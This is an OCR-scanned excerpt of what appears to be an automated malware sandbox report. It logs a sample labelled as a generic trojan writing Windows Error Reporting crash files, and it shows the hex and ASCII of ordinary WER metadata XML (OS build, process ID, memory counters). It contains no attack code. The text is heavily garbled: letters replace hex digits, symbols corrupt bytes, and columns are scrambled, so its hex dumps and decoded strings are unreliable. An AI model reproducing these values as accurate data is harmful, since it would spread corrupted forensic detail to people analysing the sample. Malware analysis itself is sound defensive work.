aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

48 1b 00 00 00 00 00
00 20 00 00 00 00 00
00 00 00 fO 2c 00 00

00 00 00 2c ed c8 02
00 00 00 00 d4 12 00
00 1e ef 00 00 cc 02

00 00 f6 3a 00 00

2e 00 00 00

Source

Ascii Completion Count Address Symbol
W W X..$..... success or wait 1 702C497A unknown
.@.Ww@..w.

success or wait 8 702C497A unknown
e success or wait 8 702C497A unknown
success or wait 1 702C497A unknown
success or wait 46 702C497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

Copyright null 2021

Offset Length

unknown 106

unknown 120

unknown 60

unknown 668

Value

64 00 00 00 53 00 65
00 63 00 75 00 72 00
69 00 74 00 65 00 49
00 6e 00 66 00 6f 00
2e 00 63 00 6f 00 6d
00 2e 00 54 00 72 00
6f 00 6a 00 61 00 6e
00 2e 00 47 00 65 00
6e 00 65 00 72 00 69
00 63 00 4b 00 44 00
5a 00 2e 00 37 00 33
00 31 0032 00 34 00
2e 00 31 00 39 00 31
00 37 00 30 00 2e 00
65 00 78 00 65 00 00
00

00 00 31 70 00 00 00
00 00 e0 08 00 80 b3
09 00 54 Oa bf fd 22
2400 00 bd 04 ef fe
00 00 01 00 00 00 0a
00 01 00 ee 42 00 00
0a 00 01 00 ee 42 3f
00 00 00 00 00 00 00
04 00 04 00 02 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 23
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 40 41 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Oc 00 00 00
18 00 00 00 02 00 00
00

36 00 00 00 4f 00 6e
00 44 00 65 00 6d 00
61 00 6e 00 64 00 43
00 6f 00 6e 00 6e 00
52 00 6f 00 75 00 74
00 65 00 48 00 65 00
6¢ 00 70 00 65 00 72
00 2e 00 64 00 6¢ 00
6¢ 00 00 00

00 00 c3 73 00 00 00
00 00 00 03 00 a8 c2
0300d12a2ce378
2400 00 01 00 0f 00
5a 62 02 00 00 10 00

00 fb fe 0f 00 01 00 00

00 ff ff 13 00 00 00 01
00 00 00 01 00 00 00
00 00 ff ff fe 7f 00 00
00 00 Of 00 00 00 00
00 00 00 04 00 00 00
00 50 7f 02 00 00 00
00 00 b0 c8 02 00 00
00 00 de 50 01 00 00
01 00 00 00 00 00 00
ff ff ff ff 00 00 00 00 40
7e 03 00 00 00 00 00
71 82 03 00 00 00 00
00 00 00 00 00 00 00
00 00 c5 23 1b 00 00
00 00 00 7b db 04 00
00 00 00 00 40 ff 1f 00
00 00 00 00 b7 f8 04
00 00 00 00 00 68 47
b4 8c 00 00 00 00 6e
de 5b 17 00 00 00 00
df 9e 64 0d 00 00 00
00 fb d6 11 01 00 00
00 00 d8 a6 00 00 33
08 01 00 69 7f 05 00
31 ¢l 0a 00 7b db 04
00 fb 7e 15 00 b7 f8
04 00 ad fb 23 00 5f
4a 01 00 93 07 13 00
00 00 00 00 b1 ae 10
00 ca 8c 04

d..S.e.curite.l.nfo..
c.o.m...T.r.oj.an..G.e.n.e.
ri.c.K.D.Z..7.3.1.2.4...1.9.

6...0.n.D.e.m.a.n.d.C.0.n.n success or wait
.R.o.ute.H.elp.e.r..d.ll.

Source

Count Address Symbol

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset
unknown 13952

unknown 120

unknown 2

unknown 78

unknown 4

unknown 38

unknown 4

unknown 2

Length Value

0a 00 00 00 45 00 76
00 65 00 6e 00 74 00
00 00 00 00 00 00 06
00 00 00 08 00 00 00
01 00 00 00 00 00 00
00 28 00 00 00 57 00
61 00 69 00 74 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 50 00
61 00 63 00 6b 00 65
00 74 00 00 00 18 00
00 00 49 00 6f 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 00 00
1e 00 00 00 54 00 70
00 57 00 6f 00 72 00
6b 00 65 00 72 00 46
00 61 00 63 00 74 00
6f 00 72 00 79 00 00
00 Oe 00 00 00 49 00
52 00 54 00 69 00 6d
00 65 00 72 00 00 00
28 00 00 00 57 00 61
00 69 00 74 00 43 00
6f 00 6d 00 70 00 6¢
00 65 00 74 00 69 00
6f 00 6e 00 50 00 61
00 63 00 6b 00 65 00
74 00 00 00 Oe 00 00
00 49 00 52 00 54 00
69 00 6d 00 65 00 72
00 00 00 28 00 00 00
57 00 61 00 69 00 74
00 43 00 6f 00 6d 00
7000 6¢

03 00 00 00 84 01 00
00 08 07 00 00 04 00
00 00 6¢ 13 00 00 98
08 00 00 Oe 00 00 00
3c 000000 04 1c 00
00 05 00 00 00 64 03
00 00 c2 3d 00 00 06
00 00 00 a8 00 00 00
60 06 00 00 07 00 00
00 38 00 00 00 d4 00
00 00 Of 00 00 00 54
05 00 00 Oc 01 00 00
Oc 00 00 00 50 24 00
00 2e 46 01 00 15 00
00 00 ec 01 00 00 40
1c 00 00 16 00 00 00
98 00 00 00 2c 1e 00
00

ff fe

3c 00 3f 00 78 00 6d

00 6¢ 00 20 00 76 00
6500 72 00 73 00 69
00 6f 00 6e 00 3d 00

22003100 2e 00 30
00 22 00 20 00 65 00
6e 00 63 00 6f 00 64
00 69 00 6e 00 67 00
3d 00 22 00 55 00 54
00 46 00 2d 00 31 00
36 00 22 00 3f 00 3e

00

0d 00 0a 00

3c 00 57 00 45 00 52
00 52 00 65 00 70 00
6f 00 72 00 74 00 4d
00 65 00 74 00 61 00
64 00 61 00 74 00 61
00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
LEvento success or wait 1 702C497A unknown
(...W.a.i.t.C.o.m.p.l.e.
tio.n.P.a.cke.t....lo.
C.o.m.p.l.e.ti.o.n.....T.p.
W.o.rk.er.Fa.cto.ry...
LLR.Timee.r..(..W.a.i.t.
C.o.m.p.l.e.ti.o.n.P.a.ck.e.
te... LR T.i.m.e.r..(..W.
a.i.t.C.o.m.p.l
success or wait 1 702C497A unknown
success or wait 1 702C497A unknown
<.?.x.m.l. .v.ers.i.o.n.=". success or wait 1 702C497A unknown
1..0.". .e.n.c.0.d.i.n.g.=.".
UT.F.-16."2>.
success or wait 1 702C497A unknown
<W.E.R.R.e.p.o.r.t.M.e.t.a. success or wait 1 702C497A unknown
data>.
success or wait 1 702C497A unknown
success or wait 1 702C497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 44

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 40

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 62

unknown 4

unknown 2

Length Value

3c 00 4f 00 53 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 69 00 6e
00 64 00 6f 00 77 00
73 00 4e 00 54 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 3e
00 31 00 30 00 2e 00
30 00 3c 00 2f 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 4e
00 54 00 56 00 65 00
72 00 73 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 0042 00 75 00 69
00 6¢ 00 64 00 3e 00
31003700 310033
00 34 00 3c 00 2f 00
4200 75 00 69 00 6¢
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 64 00 75 00 63 00
74 00 3e 00 28 00 30
00 78 00 33 00 30 00
29 00 3a 00 20 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 20
00 31 00 30 00 20 00
50 00 72 00 6f 00 3¢
00 2f 00 50 00 72 00
6f 00 64 00 75 00 63
00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 45 00 64 00 69
00 74 00 69 00 6f 00
6e 00 3e 00 50 00 72
00 6f 00 66 00 65 00
7300 73 00 69 00 6f
00 6e 00 61 00 6¢ 00
3c 00 2f 00 45 00 64
00 69 00 74 00 69 00
6f 00 6e 00 3e 00

0d 00 0a 00

09 00

Ascii Completion Count
<.0.S.V.ers.io.nlnfo.r. success or wait 1
m.a.t.i.o.n.>.
success or wait 1
success or wait 2
<.W.i.n.d.o.w.s.N.T.V.e.r.s. success or wait 1
i.0.n.>.1.0...0.
<./W.i.n.d.o.w.
s.N.T.V.e.r.s.i.o.n.>.
success or wait 1
success or wait 2
<.B.u.i.l.d.>.1.7.1.3.4.<./.B. success or wait 1
wild.>.
success or wait 1
success or wait 2
<.P.r.o.d.u.c.t.>.(.0.x.3.0.). success or wait 1
. .W.in.d.ow.s. .1.0. .P.r.
o0.<./P.ro.d.u.c.t>.
success or wait 1
success or wait 2
<.E.d.tio.n>P.r.o.fes. success orwait 1
s..o.n.al.</E.d.itio.n.>.
success or wait 1
success or wait 2

Source
Address

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 134

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

44

4

2

64

46

3c 00 42 00 75 00 69
00 6¢ 00 64 00 53 00
7400 72 00 69 00 6e
00 67 00 3e 00 31 00
37 0031003300 34
00 2e 00 31 00 2e 00
61 00 6d 00 64 00 36
00 34 00 66 00 72 00
65 00 2e 00 72 00 73
00 34 00 5f 00 72 00
65 00 6¢ 00 65 00 61
00 73 00 65 00 2e 00
31 00 38 00 30 00 34
00 31 00 30 00 2d 00
31 00 38 00 30 00 34
00 3c 00 2f 00 42 00
7500 69 00 6¢ 00 64
0053 00 74 00 72 00
69 00 6e 00 67 00 3e
00

0d 00 0a 00

09 00

3c 00 52 00 65 00 76
00 69 00 73 00 69 00
6f 00 6e 00 3e 00 31
00 3c 00 2f 00 52 00
65 00 76 00 69 00 73
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00 4d 00 75 00 6¢
00 74 00 69 00 70 00
72 00 6f 00 63 00 65
00 73 00 73 00 6f 00
72002000 46 00 72
00 65 00 65 00 3c 00
2f 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00

0d 00 0a 00

09 00

3c 0041 00 72 00 63
00 68 00 69 00 74 00
65 00 63 00 74 00 75
00 72 00 65 00 3e 00
58 00 36 00 34 00 3c
00 2f 00 41 00 72 00
63 00 68 00 69 00 74
00 65 00 63 00 74 00
7500 72 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 4c 00 43 00 49
00 44 00 3e 00 31 00
30 00 33 00 33 00 3c
00 2f 00 4c 00 43 00
49 00 44 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 4f 00 53
00 56 00 65 00 72 00
7300 69 00 6f 00 6e
00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00
6e 00 3e 00

Ascii
<.B.u.ild.S.trin.g.>.1.7.
1.34..1.am.d.6.4fre..
rs.4._rele.as.e..1.8.0.
4.1.0.-.1.8.0.4.<./.B.u.i.L.d.
S.trin.g.>.

<.R.e.w.is.ion>1l</R.e.

v.i.s.i.o.n>.

<.F.lLav.o.r.>.M.u.l.tip.r.
o.c.e.s.s.o.r. .F.re.e.</F.
l.a.v.o.r>.

<Ar.c.hite.c.ture>X.
6.4.</Ar.c.h.ite.c.tu.r.
e.>.

<.L.C.1.D.>.1.0.3.3.
<./.L.C.L.D.>.

<./.0.S.V.errs..o.n.l.n.fo.
rm.a.ti.o.n.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

2

1

Source
Symbol

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown
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File Path Offset
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 146

ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 90
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 44
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Length Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 69 00 64
00 3e 00 37 00 31 00
34 00 30 00 3c 00 2f
00 50 00 69 00 64 00
3e 00

0d 00 0a 00

09 00

3c 00 49 00 6d 00 61
00 67 00 65 00 4e 00
61 00 6d 00 65 00 3e
00 53 00 65 00 63 00
750072 00 69 00 74
00 65 00 49 00 6e 00
66 00 6f 00 2e 00 63
00 6f 00 6d 00 2e 00
54 00 72 00 6f 00 6a
00 61 00 6e 00 2e 00
47 00 65 00 6e 00 65
00 72 00 69 00 63 00
4b 00 44 00 5a 00 2e
00 37 00 33 00 31 00
3200 34 00 2e 00 31
00 39 00 31 00 37 00
30 00 2e 00 65 00 78
00 65 00 3c 00 2f 00
49 00 6d 00 61 00 67
00 65 00 4e 00 61 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 43 00 6d 00 64
00 4c 00 69 00 6e 00
65 00 53 00 69 00 67
00 6e 00 61 00 74 00
7500 72 00 65 00 3e
00 30 00 30 00 30 00
30 00 30 00 30 00 30
00 30 00 3c 00 2f 00
4300 6d 00 64 00 4c
00 69 00 6e 00 65 00
53 00 69 00 67 00 6e
00 61 00 74 00 75 00
72 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 33 00 30 00 32
00 32 00 34 00 3c 00
2f 0055 00 70 00 74
00 69 00 6d 00 65 00
3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
success or wait 1 702C497A unknown
success or wait 1 702C497A unknown

<.P.ro.c.e.s.s.l.nf.o.orm.a. success or wait 1 702C497A unknown

ti.o.n.>.
success or wait 1 702C497A unknown
success or wait 2 702C497A unknown
<.P.i.d.>.7.1.4.0.<./.P.i.d.>. success or wait 1 702C497A unknown
success or wait 1 702C497A unknown
success or wait 2 702C497A unknown
<..m.a.g.e.N.a.m.e.>.S.e.c success or wait 1 702C497A unknown

.uritelnfo..com..Tr.

o.j.a.n..G.e.n.e.r.i.c.K.D.Z.

.7.31.2.4..1.9.1.7.0...e.x.

e.</.Im.a.g.e.N.am.e.>.
success or wait 1 702C497A unknown
success or wait 2 702C497A unknown

<.C.m.d.L.i.n.e.S.i.g.n.a.t.u success or wait 1 702C497A unknown

.r.e.>.0.0.0.0.0.0.0.0.

<./.C.m.

d.L.i.n.e.S.i.g.n.ature>.
success or wait 1 702C497A unknown
success or wait 2 702C497A unknown

<.U.p.tim.e>.3.0.2.2.4. success or wait 1 702C497A unknown

<./U.p.tim.e.>.
success or wait 1 702C497A unknown
success or wait 2 702C497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 82

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 88

unknown 4

unknown 2

unknown 72

unknown 4

unknown 2

unknown 74

Length Value

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
33 003300320022
00 20 00 68 00 6f 00
7300 74 00 3d 00 22
00 33 00 34 00 34 00
30 00 34 00 22 00 3e
00 31 00 3c 00 2f 00
57 00 6f 00 77 00 36
00 34 00 3e 00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 31
00 30 00 32 00 37 00
3500 36 00 33 00 35
00 32 00 3c 00 2f 00
50 00 65 00 61 00 6b
00 56 00 69 00 72 00
7400 75 00 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3¢ 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 31 00
30 00 3200 37 00 34
00 38 00 31 00 36 00
30 00 3c 00 2f 00 56
00 69 00 72 00 74 00
7500 61 00 6¢ 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
7400 3e 00 33 00 39
00 34 00 33 00 3c 00
2f 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
74 00 3e 00

Ascii Completion

<W.o.w.6.4. success or wait
4.4.04.">.1.

<./W.o.w.6.4.>.

success or wait

success or wait

<.l.p.t.E.n.a.b.l.e.d.>.0.<./. success or wait
l.p.t.E.n.a.b.l.e.d.>.

success or wait

success or wait

<.P.ro.c.e.s.s.V.m.l.n.f.o.r. success or wait
m.a.t.i.o.n.>.

success or wait

success or wait

<.P.eak.\V.irtualS.iz success orwait
e>.1.0.2.7.5.6.3.5.2.
<./P.e.

ak.V.irtualS.ize>.

success or wait

success or wait

<.\V.irtualS.iz.e>10. success orwait
2.7.4.8.1.6.0.<./V.irtu.a.

.S.i.z.e>.

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.0.u.n.t. success or wait
>.3.9.4.3.

<./.P.a.g.e.F.a.u.l.

t.C.o.u.n.t.>.

Source

Count Address Symbol

1

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 98 3c 005000650061 <.P.e.a.k.W.o.rk.in.g.S.e.t success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 6b 00 57 00 6f00 .S.i.z.e.>.1.4.8.0.2.9.4.4.

7200 6b 00 69 00 6e <./
00670053006500 P.e.akW.o.rkingsS.e.tsS
7400530069007a .i.z.e.>.
00 65 00 3e 00 31 00

34 00 38 00 30 00 32

00 39 00 34 00 34 00

3c 00 2f 00 50 00 65

00 61 00 6b 00 57 00

6f 00 72 00 6b 00 69

00 6e 00 67 00 53 00

65 00 74 00 53 00 69

00 7a 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 3 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 82 3c0057006f0072 <.W.o.rk.in.g.S.etS.i.z.e. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 6b 00 69 00 6e 00 >.1.4.7.9.8.8.4.8.

67 005300650074 <./W.o.rk.
00530069007a00 in.g.S.etS.ize>.
65 00 3e 00 31 00 34

00 37 00 39 00 38 00

38 00 34 00 38 00 3c

00 2f 00 57 00 6f 00

72 00 6b 00 69 00 6e

00 67 00 53 00 65 00

7400 53 00 69 00 7a

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 114 3c00510075006f <.Q.u.o.ta.P.e.ak.P.a.g.e. success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 0074 0061005000 d.

650061 00 6b 0050 P.o.0.lU.s.a.g.e>1.8.6.7.
0061 00 67 00 6500 6.8.

64 00 50 00 6f 00 6f <./.Q.u.0.t.a.P.e.ak.P.ag.
00 6c 0055007300 e.d.P.o.o.l.Us.ag.e.>.

61 00 67 00 65 00 3e

00 31 00 38 00 36 00

37 00 36 00 38 00 3c

00 2f 00 51 00 75 00

6f 00 74 00 61 00 50

00 65 00 61 00 6b 00

50 00 61 00 67 00 65

00 64 00 50 00 6f 00

6f 00 6¢ 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
